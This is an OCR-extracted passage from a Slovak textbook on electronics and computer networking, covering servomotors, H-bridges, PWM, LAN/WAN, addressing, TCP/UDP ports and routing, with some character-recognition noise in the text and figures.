rozsah napajacieho napatia.

Typicky riadiaci signal servomotora na obrazku 4.26, ma pravouhly priebeh samplitidou 5V
a periédou 20ms. Sirkou impulzu pravouhlého signdlu vrozsahu 1 a? 2ms nastavujeme uhol
natocenia hriadela servomotora vrozsahu 0 az 180°. Riadiaci signal servomotora mbzie byt
generovany pomocou PWM vystupu mikrokontroléra.

Riadiaca elektronika spolu s elektromotorom a snimacom uhla natocenia hriadela tvoria regulacny
obvod. Riadiaca elektronika, ktord vykonava funkciu reguldtora, porovnava aktualny uhol natocenia
ziskaného pomocou snimaca polohy (potenciometra) s nastavenym uhlom natocenia, ktory je
definovany sirkou impulzu riadiaceho signalu.

V pripade existencie odchylky medzi aktualnym azadanym uhlom natocenia riadiaca elektronika
upravi velkost alebo aj polaritu napéatia na elektromotore, ¢im postupne déjde k pootoceniu hriadela
do potrebného smeru a k odstraneniu tejto odchylky.

4.7 Integrované obvody (1.0.)

Pod pojmom integrovany obvod rozumieme elektricky obvod realizovany na jednom platku
polovodica - Cipe. Integrované obvody obsahuju obrovské mnoZstvo tranzistorov, ale aj inych
suciastok ako diddy a rezistory. V niektorych pripadoch obsahuju integrované obvody az milidny
takychto suciastok, a tak na relativhe malom platku polovodi¢a dokazeme zrealizovat velmi zlozité
Cislicové, ale aj analégové obvody.

Typickym prikladom Ccislicovych 1.0. su procesory, mikrokontroléry alebo pamate. Prikladom
analégovych 1.0. m6zZu byt operacné zosilfiovace, alebo audio zosilfiovace v integrovanej podobe.
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Vzhladom na to, Ci integrovany obvod pozostava z bipolarnych tranzistorov alebo unipoldrnych
tranzistorov, rozoznavame dve zakladné technoldgie vyroby integrovanych obvodov - TTL a CMOS.

TTL integrované obvody - zdkladnym stavebnym prvkom tychto 1.0. su bipolarne tranzistory typu
NPN a PNP. Pri Cislicovych 1.0. je charakteristické napajacie napéatie 5V. Napétie na vstupe Cislicovych
TTL obvodov v rozsahu 0V az 0,8V je interpretované ako uUroven L, alebo inak log.0. Napatie na vstupe
v rozsahu 2V aZ 5V je interpretované ako uroven H, resp. log.1.

CMOS integrované obvody - zdkladnym stavebnym prvkom su unipolarne tranzistory. Napajacie
napatie pre Cislicové CMOS 1.0. sa moze pohybovat v rozsahu $pecifikovanom vyrobcom, napriklad
od 3V do 18V. Intervaly hodn6t napéti na vstupe pre drovne L a H sa nasledne odvijaju od pouZitého
napajacieho napatia.

CMOS technoldgia 1.0. sa vyznacuje niZzSou spotrebou elektrickej energie oproti technoldgii TTL. Na
druhej strane TTL obvody dokaZu rychlejsie spracovat vstupné signaly.

Na nasledujucom priklade si vysvetlime vyznam integrovanych obvodov pre prakticki elektroniku.
Predstavme si, Ze chceme vyrobit malého trojkolesového robota, ktory ma dve kolesa pohanané
jednosmernymi elektromotormi a jedno pomocné vie-smerové koliesko. Aby sme mohli menit smer
pohybu robota, potrebujeme menit aj polaritu napatia na motoroch. Na tieto Ucely sa ¢asto pouZiva
zapojenie nazyvané H-mostik.

Obrazok 4.26 - H-mostik — principialna schéma zapojenia

Zdroj [11]

H-mostik méze byt realizovany bud’ z bipolarnych alebo unipolarnych tranzistorov, princip je v oboch
pripadoch podobny. Riadiace vstupy IN1 a IN2 su pripojené na digitalne vystupy mikrokontroléra.

Napdjaci vstup mostika nech je pripojeny na napajacie napatie Ucc =5V. Ak na riadiaci vstup IN1
privedieme Uroven L (U1=0V) ana vstup IN2 privedieme uroven H (U2=5V), potom su splnené
podmienky pre otvorenie tranzistorov T1 a T4, tranzistory T2 a T3 su zatvorené. Prud preteka od
napajacej svorky, cez tranzistor T1, elektromotor a tranzistor T2 smerom k zemi napajacieho zdroja.

Polarita napatia Uout na motore odpoveda smeru Sipky na obrazku, hriadel elektromotora sa otaca
v smere hodinovych ruciciek. Ak na riadiaci vstup IN1 privedieme udroven H (U1=5V) a na vstup IN2
uroven L (U2=0V), potom sa otvaraju tranzistory T3 a T2. Prud zdroja tecie od napajacieho vstupu cez
tranzistor T3, elektromotor a tranzistor T2 smerom k zemi.
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Polarita napéatia Uout na motore je opacna vocCi smeru vyznaCenom na obrazku a hriadel
elektromotora sa otaca proti smeru hodinovych ruciciek. V pripade, ak mame na riadiacich vstupoch
IN1 aIN2 rovnaké logické urovne (U1=U2=0V, alebo U1=U2=5V), nie su splnené podmienky pre
otvorenie tranzistorov, napatie na elektromotore je nulové a prud cez elektromotor neprechadza,
hriadel elektromotora sa neotaca.

V pripade dvoch elektromotorov potrebujeme mat k dispozicii dva takéto H-mostiky, ¢o znamend
pouzitie 8 tranzistorov a 8 rezistorov. V praxi by sme mohli mat stéiastok dokonca viac. Napr. kvéli
vacSiemu prudovému zosilneniu sa zapdjaju namiesto jedného tranzistora dva tranzistory v tzv.
Darlingtonovom zapojeni.

Pouzitie diskrétnych suciastok na stavbu dvoch mostikov znamena aj znac¢né rozmery postaveného
elektrického obvodu. Preto sa ndm ponutka myslienka poobzerat sa za hotovymi rieSeniami, pohladat
H-mostik v integrovanej podobe.

Pre malé jednosmerné elektromotory s malym pridovym odberom moézeme pouZit budi¢ motorov
v integrovanej podobe typu L293B znazorneny na obrazku 4.28. Integrovany obvod obsahuje Styri
kanaly, ktoré je mozné zapojit ako dva H-mostiky.

Enable 1,2 [T Vee |
Input 1 Input 4
Output 1 Output 4
GND GND
GND GND
Output 2 Output 3
Input 2 Input 3

Vcee 2 Enable 3.4

Obrazok 4.27 - H-mostik vo forme integrovaného obvodu

Zdroj [11]

Na internete si vyhladdme jeho technicki dokumentaciu, alebo inak povedané datasheet, kde
najdeme potrebné informacie ako vyznam jednotlivych vstupov a vystupov, odporicané schémy
zapojenia a parametre. Priklad:

napadjacie napatie logickej (riadiacej) ¢asti Uc: od 4,5V do 36V,
napajacie napatie vystupov Uc: od U do 36V,
maximalny trvaly vystupny prad na jeden vystup 1A,

Spickovy neopakovatelny vystupny prud (po dobu max. 5ms) 2A.

Existencia dvoch pinov napajacich napati je sposobend tym, Ze elektromotor moze mat iné napajacie
napatie U, ako je napatie logickych urovni riadiacich signalov. Napriklad, ak pomocou 5V logickych
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urovni z mikrokontroléra chceme riadit 12V elektromotor, bude Uca1=5V, Uc2=12V. Musime si

.....

pretozZe hrozi pretazenie a nenavratné poskodenie integrovaného obvodu.

4.8 PW modulacia (PWM)

Impulzova Sirkova moduldcia, alebo skratene PWM (Pulse Width Modulation) je metdda riadenia
vykonu elektrickych spotrebiCov napdjanych jednosmernym napéatim. Predstavme si, Ze mame
jednoduchy jednosmerny elektricky obvod, kde je Ziarovka zapojena k batérii cez obycajné tlacidlo.
Ak stlac¢ime tlacidlo, Ziarovka sa rozsvieti naplno, pretoze bude na nej napatie batérie.

Ak dame prst z tlacidla dole, Ziarovka zhasne, pretoze na nej bude nulové napitie. Co by sa dialo, ak
by sme velmi rychlo stlacali a pustali tlacidlo? Samozrejme, ak by sme dokazali stlacit a pustit tlacidlo
pravidelne niekolkokrat za sekundu, potom by sme mohli sledovat situaciu, kedy Ziarovka nie je ani
Uplne zhasnut3, ale ani nesvieti plnym jasom.

Stlacanim a pustanim tladidla generujeme pravouhly priebeh napatia na Ziarovke, v idedlnom pripade
pravidelne sa opakujlice napatové impulzy, ktoré by sme mohli znazornit ako na obrazku 4.29.

uf

Um

Obrazok 4.28 - Pravouhly signal

Ak je casovy priebeh signalu pravidelne sa opakujuci, potom hovorime o periodickom signale.
Maximalna hodnota napatia, alebo tieZz amplitida, je pri tomto ¢asovom priebehu oznacena ako Uw.
Cas, za ktory sa ¢asovy priebeh zopakuje, nazyvame periéda a oznacujeme ju pismenom T. Obratena
hodnota periddy je frekvencia signalu f (f=1/T) a uddvame ju v jednotkach Hz (Hertz).

Cas, pocas ktorého nadobuda signdl vyssiu Grover napéatia Uy, nazyvame $irka impulzu a oznacujeme
ti. Dolezitym parametrom periodického pravouhlého signalu je strieda signalu, ktord oznacujeme
pismenom D. Strieda je pomer medzi di?kou impulzu t aperiédou T acdasto sa vyjadruje
v percentach.
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D = =.100 [%]

Vzorec 4.6 - Strieda signalu

Ak by sme pripojili paralelne k Ziarovke voltmeter, ktory meria efektivnu hodnotu napatia, zistili by
sme, Ze napatie na Ziarovke je Umerné striede pravouhlého signalu a moze sa pohybovat od 0OV aZ po
napajacie napatie. Vyssia strieda signalu znamena vyssie napatie v Ziarovke a naopak.

Samozrejme, Ze v praxi nebudeme vykon spotrebica riadit ruéne stla¢anim tlacidla, ale o pravouhly
priebeh napétia na spotrebi¢i sa ndm postara generator PWM, ktory generuje pravouhly signal
s pevnou frekvenciou akonstantnou amplitidou, ale s nastavitelnou striedou. Mnohé
mikrokontroléry, ako aj napriklad ATmega328P, ktory sa nachadza na vyvojovej doske Arduino,
obsahuju niekolko generatorov PWM signalov, ktoré su vyvedené na vystupné piny.

Pre demonstraciu PWM si ukazeme vysledky simulacie vytvorenej v simulacnom programe Multisim
od spolocnosti National Instruments. Predstavme si, Ze mame pripojenu Cervenu LED cez predradny
rezistor R k PWM vystupu mikrokontroléra, ako je zakreslené na obrazku 4.30.

oy (D)

150 Q2

2
QO -—

Obrazok 4.29 - Riadenie LED pomocou PWM

Zdroj [11]
PWM vystup je znazorneny schématickou znackou generatora G pravouhlého signdlu s vystupnym
napatim u(t). Aka bude efektivna hodnota napatia UD na LED, efektivha hodnota prudu | teciceho

cez LED a vykon PD na LED pri frekvencii pravouhlého signalu f=1kHz, amplitide UM=5V a striede
D=25%, 50% a 75%? Vysledky su zobrazené na obrazku 4.31.
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”T D=25%
5V Uo =0,914V
I =10,6mA
— P=9,69mW
0 1ms 2ms t
UT D =50%
5V Uo=1,29V
| = 14,9mA
_ L P=192mw
0 1ms 2ms t
UT D=75%
5V Up = 1,58V
|=18,3 mA
___ P=289mW
0 1ms 2ms t

Obrazok 4.30 - Striedy a napiatové tGrovne

Vyuzitie PWM moduléacie pre riadenie otacok jednosmerného motora sosebou prinasa dve nevyhody
— elektromagnetické rusenie a hluk.

elektromagnetické rusenie — pokial nie su pri PWM pouzité vodice s tienenim, do okolia sa
rozsiruje elektromagnetické pole, ktoré moze pdsobit ako rusivy signal pre okolité
komunikacné systémy. To moze byt problém pri niektorych aplikaciach. Napriklad medicinske
alebo letecké zariadenia maju prisne normy ohladom generovania a sirenia rusivych signalov.

hluk — motorceky, ktoré su riadené PWM, mdzu generovat vysoké frekvencie, ktoré posobia
ako neziaduci hluk.
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5.1 Siete

Pocitacova siet je prepojenie zariadeni za ucelom vymeny informacii. Jednotlivé zariadenia, ktoré su
do siete pripojené, sa oznacuju ako uzly asu prepojené datovymi linkami. Tieto linky mdzu mat
formu kablovych médii alebo radiovej komunikaciu, ako je WiFi.

Cesta, ktorou sprava prechadza zo zdroja do ciela, mbze byt jednoducha vo forme jediného kabla,
ktory spédja jeden pocitac sinym. No mdze byt aj zloZitd ako siet, ktord sa doslova rozpina napriec
celou zemegulou. Siet by mala poskytovat stabilny a spolahlivy komunikaény kanal, cez ktory sa mézu
prendsat Udaje medzi odosielatelom a prijemcom. To vSetko bez ohladu na ich geograficku
vzdialenost.

Sietova infrastruktura obsahuje tri kategdrie sietovych komponentov:

koncové zariadenia,
sprostredkovatelské zariadenia,
sietové média.

Koncové zariadenia

V beznych sietovych podmienkach si to zariadenia ako pocitace, VolIP teleféony, CCTV kamery,
mobilné zariadenia. Tieto zariadenia mdézu byt zdrojom (oznadované aj ako klient) alebo cielom
(oznacované aj ako server) sietovej komunikacie. Pri takejto komunikacii sa za server zvycéajne
povaZuje stanica, ktora poskytuje sluzby. Klientom je stanica, ktora si tieto sluzby vyZiadala.

V pripade loT architektiry, mézu byt koncovymi zariadenia snimace pre snimanie fyzikalnych
parametrov, pripadne inteligentné riadiace systémy, ktoré ovladaju motorceky. Pri komunikacii je
nevyhnutné vediet, kto inicioval komunikaciu a kto je adresatom zasielanych Gdajov.

Sprostredkovatelské zariadenia

Tieto zariadenia zabezpecuju komunikacné prepojenie medzi klientom a serverom. KedZe nie je
mozné vsetky zariadenia prepojit jednym kadblom, na pozadi siu do siete zapojené
sprostredkovatelské zariadenia. Zabezpecuju zapojenie koncovych zariadeni do sieti a prepojenie
tychto sieti.

Za sprostredkovatelské zariadenia su povaZované prepinac (switch), smerovacC (router), brana
(gateway), ale aj bezpecnostné zariadenia (firewall, proxy).

Okrem iného tieto zariadenia mdzu poskytovat sluzby pre zaistenie bezpecnosti, kvality a stability
spojenia, ¢i v niektorych pripadoch aj zvysenie rychlosti a zniZenie zatazenia siete.

Sietové média

Média predstavuju komunikacny kanal, cez ktory sa prendsaju Udaje od zdrojovej stanice k cielovej
stanici. V sucasnosti patria medzi najrozsirenejsie média metalické vedenia, optické vlakna a radiova
komunikdcia.

Pri 10T zariadeniach, je pre vyber sietového média rozhodujuica napriklad vzdialenost, na akd sa maju
data prendasat, prostredie, v ktorom bude zariadenie fungovat a komunikovat, mnoZstvo dat, ktoré
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budi odosielané afrekvencia odosielania av neposlednom rade aj naklady pre realizaciu
infrastruktury.

Ucelom sieti je umoznit prenos sprav medzi réznymi pripojenymi zariadeniami. Siete je moiné
z pohladu topoldgie kategorizovat ako:

LAN - lokélna siet,
WAN - rozsiahla siet.

Rastuci pocet zariadeni pripojenych v sieti, ich rozmanitost a odlisné poziadavky viedli k dalSiemu
vyvoju v oblasti typov a architektury sieti.

LAN

Lokalna siet (Local Area Network, LAN) je bezny typ siete, ktord sa nachadza v domacnostiach ¢i
kancelariach, malych ¢i velkych podnikoch.

1

Obrazok 5.1 - Siet typu LAN

Zdroj [11]

LAN je siet pocitacov a dalsich komponentov umiestnenych relativne blizko v obmedzenom priestore.
Rozne LAN sa mozu vo velkosti liit. Mdzu pozostavat iba z dvoch pocitacov vdomacej kancelarii
alebo malom podniku, alebo moézu zahfriat stovky pocitacov vo velkej firemnej kancelarii alebo vo
viacerych budovach.

LAN poskytuju jej pouzivatelom tieto zakladné funkcie:

data aaplikacie - pouZivatelia navzajom pripojeni prostrednictvom siete, moézu zdielat
subory adokonca aj aplikacné programy. To umozniuje lahSie spristupnovanie udajov
a podporuje efektivnejsiu spolupracu na projektoch.

sietové zdroje - zdroje, ktoré su zdielané. V zakladnej konfigurdcii siete ma k nim pristup
kazdy, kto je pripojeny v LAN. Je mozné zdielat vstupné zariadenia, ako su sietové disky, ale
aj vystupné zariadenia, napriklad tlaciarne.
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komunikaéna cesta k inym sietam - ak nie je zdroj dostupny lokalne, LAN prostrednictvom
brany méze poskytnut pripojenie k vzdialenym zdrojom - pristup na web.

WAN

Rozsiahla siet (Wide Area Network, WAN) je datova komunikaéna siet, ktora pokryva pomerne Siroku
geografickli oblast aktord casto wvyuZiva prenosové zariadenia poskytované spoloénymi
poskytovatelmi, napriklad telekomunikac¢nymi spolo¢nostami.

Technoldgie WAN obvykle funguja v troch nizsich vrstvach referenéného modelu I1SO OSl:

fyzicka vrstva,
vrstva datového spojenia,
sietova vrstva.

IBGP

AS 3

=5

Obrazok 5.2 - Siet typu WAN

Zdroj [19]

Hlavné charakteristiky WAN su:
prepdjanie zariadeni umiestnenych v réznych geografickych oblastiach,
je pouzivana poskytovatelmi telekomunikacnych sluZieb,

na komunikaciu pouzZivaju rézne typy sériovych pripojeni (zvy¢ajne maju nizsiu Sirku pasma
ako LAN).

WAN st nevyhnutné pre naplifianie obchodnych potrieb firmy. Ide o tieto poZiadavky:
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B schopnost zdielat Gdaje medzi Ustredim a pobockami,
B schopnost zamestnancov na firemnych cestach ziskat pristup k Gdajom so sidlom v hlavnej
kancelarii.

Z pohladu domaceho pouzivatela ma WAN siet nasledujuci vyznam:

B poskytnutie pristupu k internetu,
vyuzivanie sluZieb ako internetové bankovnictvo, IP televizia, nakupovanie,
B stadium a préca cez internet.

Internet

Hoci existuju vyhody pri pouZivani LAN alebo WAN, vicsina jednotlivcov potrebuje komunikovat so
zdrojmi v inej sieti, mimo lokalnej siete v domacnosti, aredlu alebo organizacie. To sa robi pomocou
internetu. Internet je siet, ktord prepdja mnoho LAN a WAN po celom svete.

Internet

Obrazok 5.3 — Internet

Zdroj [20]

Zabezpelenie efektivnej komunikacie vramci tejto roznorodej infrastruktiry si vyZaduje
uplatfiovanie konzistentnych avsSeobecne uzndvanych technoldgii a noriem, ako aj spolupracu
mnohych agentur pre spravu siete, telekomunikaénych operatorov a podobne.

Existuju organizacie, ktoré boli vytvorené scielom poméct udrzat Struktiru a Standardizaciu
internetovych protokolov a procesov. Medzi tieto organizacie patri IETF, Internet Corporation pre
pridelené mena a Cisla (ICANN), Internet Architecture Board (IAB), ako aj mnohé iné.
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Intranet a Extranet

Pri pocitacovych sietiach sa objavuju dva pojmy podobné internetu:

intranet,
extranet.

Intranet - termin, ktory sa ¢asto pouZziva na odkazovanie na sukromné spojenie LAN a WAN, ktoré
patria do organizacie a je navrhnuté tak, aby boli pristupné iba ¢lenom organizacie, zamestnancom
alebo tym, ktori maju opravnenie. Intranet je v podstate internet, ktory je zvycajne dostupny iba
v ramci organizacie.

Organizacia moOzZe na svojej intranetovej stranke uverejriovat internetové stranky o internych
udalostiach, politikdch zdravia a bezpecnosti, o informacnych bulletinoch zamestnancov
a telefonnych zoznamoch zamestnancov. Napriklad skola mdze mat intranet, ktory obsahuje
informacie o rozvrhu hodin, on-line ucebné osnovy a diskusné féra. Intranety zvycajne pomahaju
eliminovat papierovanie a zrychluji pracovné postupy. Intranet organizicie moéze byt pristupny
osobam pracujicim mimo organizacie prostrednictvom zabezpecenych pripojeni k interne;j sieti.

Extranet - organizidcia mobzZe pouzivat extranet na poskytovanie bezpecéného pristupu jednotlivcom,
ktori pracuju pre partnerské organizacie, ale vyZaduju udaje o hlavne]j spolo¢nosti.

Priklady extranetov:

spolocnost poskytujlca pristup k externym dodavatelom,

nemocnica poskytujica rezervacny systém, aby mohli pre svojich pacientov online
objednavat terminy vysetreni,

miestny Urad vzdeldvania, ktory poskytuje Skolské a personalne informacie skoldm vo svojom
okrese.

5.2 Sietova komunikacia

Koncové zariadenie mdze byt bud zdrojom, alebo cielom spravy prenesenej cez siet. Uspesny prenos
spravy od odosielatela k prijemcovi je pomerne komplexny proces. Zakladnou poZiadavkou je, aby si
obe strany vzdjomne rozumeli. Musia pouzZivat rovnakid re¢ a dodrZiavat pravidld komunikacie.
Takyto zoznam pravidiel a poZiadaviek sa suhrnne nazyva komunikacny protokol.

Komunikacny protokol

Protokoly pomahaju Specifikovat mnohé vlastnosti sietovej komunikacie. Medzi dolezZité vlastnosti
a postupy, ktoré musia byt dodrziavané patria:

detekcia zakladného fyzického spojenia (kablové, bezdrotové),

detekcia inych zariadeni v sieti,

nadviazanie komunikacie (takzvany handshake),

vyjednavanie o réznych parametroch spojenia (rychlost, velkost okna, atd.),
ako zacat a ukoncit spravu,

format spravy,

142



ako pracovat s poskodenymi alebo nespravne naformatovanymi Gdajmi (oprava chyb),
ako detegovat neocakavanu stratu spojenia,

ako pokracovat v komunikacii po vypadku,

ukoncenie spojenia.

Dodrziavanie komunika¢ného protokolu ulahéuje prepojenie roéznych pocitacovych programov,
systémov azariadeni. Standardizicia a protokoly maju svoj vyznam. Napriklad v sietovej
infrastruktdre si musia vSetky zariadenia rozumiet, aby si dokazali vzdjomne preposielat data a takto
poskytovat sluzby koncovym pouzivatelom.

V pripade koncovych zariadeni, ako su napriklad smart telefény, to uz neplati. Vyrobcovia casto
vytvaraju vlastnd implementaciu protokolu alebo istej funkcionality. Problém nastava, ak maju
komunikovat dve rbzne zariadenia od dvoch vyrobcov. Napriklad prepojenie Apple telefonu
s operacnym systémom Windows je znacne komplikované.

Podobne je to aj v pripade automobilov, kde kazdy vyrobca automobilu ma vlastny diagnosticky
systém. Aj napriek tomu, Ze sa pouZiva Standardizovany port pre pripojenie diagnostiky, Citanie dat
z riadiacej jednotky je Specifické pre konkrétneho vyrobcu.

Posielanie dat

Na rozliSenie jedného koncového zariadenia od druhého je kazdé koncové zariadenie v sieti
identifikované adresou.

Ked koncové zariadenie spusti komunikaciu, pouzije adresu cielového koncového zariadenia na
uréenie, kam ma byt sprava odoslana. Funguje to podobne ako posta alebo telefénna siet. Ak chcete
poslat spravu kamaratovi, potrebujete poznat jeho postovu adresu alebo telefonne Cislo. Iba takto
bude sprava dorucend spravnemu adresatovi. V kratkosti sa o adresovani v pocitacovych sietiach,
pojedndva v podsekcii adresovanie.

Vsieti sa dalej objavuju takzvané sprostredkovatelské zariadenia (intermediary devices). Tieto
zariadenia maju za Ulohu urcenie cesty, ktorou by sa mali spravy prenasat cez siet, aby boli dorucené
v €o najkratSom case.

Pre dorucovanie sa pouZivaju adresy cielového a koncového zariadenia spolu s informaciami o kvalite
sietovych prepojeni. Zariadenia sa snazia pocas preposielania informacii vybrat najkvalitnejsSiu trasu,
ktora ma najlepsie parametre(metriky).

BeZnymi sprostredkovatelskymi zariadeni su:

gateway (brana, router, proxy server, firewall),

router (smerovac),

switch (prepinac),

access-point (bezdrotovy pristupovy bod - ekvivalent bezdrétového switchu).

Paket

Pakety su v sietovej terminoldgii velmi podobné balickom, ktoré posielame v redlnom svete postou.
Pre zjednodusenie celej problematiky, bude v tejto knihe ako paket chapany balicek, ktory obsahuje
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vsetky informacie potrebné pre Uspesné dorucenie prijemcovi, tak aby cielova aplikacia dokazala
Uspesne ziskat zasielané data.

Takto zjednodusené bali¢ky obsahuju bloky:

produkcéné data - informdcie, s ktorymi pracuju aplikacie,

adresné informacie - informdacie o odosielatelovi a prijemcovi sprav,
kontrolné sucty - overovanie integrity dat,

iné Udaje, tykajuce sa napriklad prioritizacie (volanie cez internet, stream).

NeZ sa data zaplikdcie na aplikacnej vrstve, dostand na siet, prejdi komplexnym procesom
spracovania — takzvanym zapuzdrenim (oznacované aj ako enkapsuldcia). Pocas procesu zapuzdrenia
sa na jednotlivych vrstvach pripajaju k samotnym datam doplriujice hlavicky, ktoré pouZivaju sietové
zariadenia pre dorucovanie k prijemcovi.

[d Aplikacna Data Data Aplikacna |
6| Data| | o 1 ' [Datal | 6
o 5
5 Data g . Data 5
~ L
- [0}

4 Transportng [Data & 2 Data| Transportna 4
N IR =] !
oo 12110 B ] oo
IR ] 1 et ] o) NN

prenos ’

Obrazok 5.4 - Zapuzdrenie dat napriec vrstvami OSI modelu

Zdroj [11]

Na opacnej strane prijemca vykonava opacny proces rozbalovania (odpuzdrenia, dekapsuldcie). AZ po
overeni a odstraneni hlaviciek ziska aplikacia data, ktoré mu poslal odosielatel.

Adresovanie

Pre presné urdovanie zdroja a ciela sietovej komunikacie sa pouzivaju adresy. Medzi fudmi sa
posielanie zasielok riadi podla mena, adresy a smerovych cisel. Podobny koncept adries a smerovych
Cisel je aplikovany aj v pocitacovych sietach.

V ethernet sietiach sa pouzivaju tri typy adries:

B MAC adresa - 48-bitova adresa, zapisovana v hexadecimalnom tvare. Kazdé ethernetové
sietové rozhranie ma vyrobcom pridelend unikatnu adresu.
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IPv4 adresa - 32-bitova adresa, zapisovana v dekadickom tvare. Pridelenie sietovej adresy je
mozné manudlne, kedy sprdvca siete kazdému zariadeniu nastavi jeho IP adresu.
Alternativnym pristupom je automatické pridelenie s pomocou protokolu DHCP (Dynamic
Host Configuration Protocol).

IPv6 adresa - 128-bitovd adresa, zapisovana v hexadecimalnom tvare. Tieto adresy maju
rieSit problém nedostatku IPv4 adries pre adresovanie velkého poctu zariadeni pripojenych

do internetu.

Pre lepsSiu predstavu o formate a poufZiti adries si pozrime analdgiu s klasickou postou, ktora sa

pouziva pre zasielanie listov a balikov v redlnom svete.

Adresovanie siete

Posta v realnom svete

MAC adresa: 10-0B-A9-02-69-10

(adresa sietovej karty)

Meno na schranke: Janko Hrasko

IP Adresa: 192.168.100.10

(adresa pocitaca s danou sietovou kartou)

Adresa: Horng, ¢islo domu 147

Adresa siete + maska: 192.168.100.0/24

(siet kde je pripojeny pocitad)

Tabulka 5.1 - Analégia adresovania

PSC: 04001

Pristup k informacii o sietovej karte ziskame v prikazovom riadku operacného systému. V systémoch

Windows je to prikazom ipconfig /all, v pripade Linuxového systému je to ifconfig -a. Tieto

prikazy je potrebné zadat do terminalu (cmd pre Windows, terminal pre Linux).

Pripojenie do siete

Pre Uspesné pripojenie do siete potrebujeme na n koncovom zariadeni nakonfigurovat:

jedine¢nd IP adresu (napr. 192.168.1.100),

masku podsiete (napr. 255.255.255.0),

IP adresu brany (napr. 192.168.1.1) - potrebné len pre komunikaciu so zariadeniami v inych

sietach,

DNS server - potrebné len pre pripojenie do internetu.
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e P
Internet Protocol Version 4 (TCP/IPv4) Properties @li_E-J

General

You can get IP settings assigned automatically if your network supports
this capability. Otherwise, you need to ask your network administrator
for the appropriate IP settings.

(7) Obtain an IP address automatically

(@) Use the following IP address:

IP address: 192.168. 2 . 2
Subnet mask: 255 .255.255. 0
Default gateway: 192,168, 2 . 1

Obtain DNS server address automatically
@ Use the following DNS server addresses:

Preferred DNS server: 8 .8 .8 .38

Alternate DNS server: 8 .8 .4 .4

[V]Validate settings upon exit
[ OK DJ[ Cancel ]

Obrazok 5.5 - Nastavenie IPv4 adresy

Zdroj [5]

Nastavenie parametrov sietovej karty je mozné ziskat aj s pomocou protokolu DHCP (Dynamic Host
Configuration Protocol), ktory zabezpeluje automatické pridelovanie IP adries zapnutym sietovym
zariadeniam a pripojenym do siete.

V sucasnosti je DHCP protokol Standardne zapnuty na vsetkych domacich a firemnych smerovacoch.
V niektorych pripadoch, napriklad pri testovani Raspberry Pi, mbze byt vhodné pouzit manudlne
nastavenie parametrov.

TCP a UDP port

TCP a UDP port je Ciselné oznacenie, ktoré identifikuje koncovy bod spojenia medzi dvoma pocitaémi.
Tento koncovy bod je natransportnej vrstve. Pocitace pouZivaju Cisla portov na urcenie, ktorému
procesu alebo aplikacii by sa mala dorudit sprava. Kedze sietové adresy su ako adresa ulic, Cisla
portov su ako Cisla apartmanov alebo miestnosti.

TCP (Transmission Control Protocol) je protokol riadenia prenosu dat. Pomocou tejto metddy sa
komunikacia medzi pocitacom, ktory odosiela data a pocitacom, ktory data prijima riadi Specifickymi
pravidlami. Napriklad, cielova stanica musi potvrdit, Ze Udaje sa dostali bezpecne a spravne do ciela.
Vyhodou tohto typu komunikacie je jej spolahlivost. Hlavnou nevyhodou je zataZ sietovej linky
a mnozstvo koordinaénych a potvrdzovacich dat, ktoré musia byt preposlané medzi oboma pocitaémi
pocas komunikacie.
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UDP je skratkou pre User Datagram Protocol. Pomocou tejto metddy pocitac posiela datové baliky
bez akejkolvek kontroly, ¢i boli data Uspesné dorucené. Tento spdsob prenosu neposkytuje Ziadnu
zaruku, Ze Udaje, ktoré boli odoslané, sa aj dostanu k ciefu. Na druhej strane tato metdda prenosu ma
velmi nizke reZijné naklady, a preto je velmi ¢asto pouZivana pre sluzby, kde nie je doleZité dorucenie
vsetkych dat - napriklad ako stream, IP telefdnia.

Kazdy program mozZe pouzivat Iubovolny TCP a UDP port. Niektoré Cisla portov maju vseobecne
zauzivané vyuZitie, ako napriklad TCP port 80 pre web. V praxi sa vo firemnych sietiach mnoho TCP
a UDP portov blokuje prave z bezpecnostnych dévodov.

Brany firewall ¢asto blokuju pristup k portom na zéklade sietovej adresy a portu zdrojového alebo
ciefového pocitaca alebo programu (za predpokladu, Ze je brana firewall spustend na tom istom
pocitaci).

IP adresa: 192.168.0.50 IP adresa: 192.168.0.150
Port: TCP-1200 Port: TCP-21

. =
= 3
Ziadost

Zdrojova IP adresa: 192.168.0.50
Zdrojovy port: 1200 ,TCP

Cielova IP adresa: 192.168.0.150
Cielovy port: 21,TCP

IP adresa: 192.168.0.50
Port: TCP-1200

IP adresa: 192.168.0.150
Port: TCP-21

=

Odpoved

Zdrojova IP adresa: 192.168.0.150
Zdrojovy port: 21 ,TCP

Cielova IP adresa: 192.168.0.50
Cielovy port: 1200 ,TCP

Obrazok 5.6 - Sietova komunikéacia s pouZitim TCP portov

Zdroj [5]

Celkovo je pre komunikaciu k dispozicii az 65 535 TCP a dalsich 65 535 UDP portov. Tento velky pocet
portov je neoficidlne rozdeleny na:

dobre zname porty: 0 — 1023 (zvycajne systémové sluzby),
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B registrované porty: 1024 — 49151,
B dynamické porty: 49152 — 65535.

110

Obrazok 5.7 - Priklady TCP-UDP portov

Zdroj [5]

5.3 Smerovanie

Internet sa sklada z LAN sieti prepojenych prostrednictvom WAN liniek. Aby sa informacie a data
presunuli z jednej LAN siete do druhej (od zdroja do ciela), pakety musia prejst cez jednu alebo viac
sieti. V tomto scenari LAN a WAN funguju ako cesty prepravy pre pakety.

Proces smerovania paketu smerom kjeho cielu sa nazyva smerovanie aje hlavnou funkciou
smerovaca (router). Routery pre smerovanie paketov vyuzZivaju takzvané smerovacie tabulky.
Prostrednictvom tychto tabuliek sa smerovac rozhodne, na aké rozhranie (interface) posle paket.

21 FTP POP3
23 Telnet 119 NNTP
25 SMTP 143 IMAP
69 TFTP 161 SNMP
70 Gopher 443 HTTPS
80 HTTP 993 IMAPS
88 | Kerberos 995 POP3S

i Obrazok 5.8 - Smerovac (angl. router)

Zdroj [11]

Router méZe zaistovat lokalne alebo vzdialené smerovanie (smerovanie paketov medzi vzdialenymi

LAN).

Smerovace su klucové zariadenia, ktoré prepdjaju medzipodnikové siete. Napriklad v ropnej
spoloc¢nosti, ktorda ma pobocky po celom svete, je potrebné, aby vSetci mali pristup k firemnému
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systému pre vykazovanie dochadzky. Pripojenim do virtualnej privatnej siete, ktora je smerovana na

zaklade smerovacich tabuliek, je umoznené, aby k serveru s dochadzkou, ktory je v Texase v USA
mobhli pristupovat aj fudia v Melbourne v Australii.

Home Office

LAN
WAN

Melbourne

Obrazok 5.9 - Prepojenie LAN sieti s pomocou smerovacov

Zdroj [20]

Smerovanie v IP sietach vyuZiva znova rovnaky koncept, ako sa pouZiva pri doruceni postového
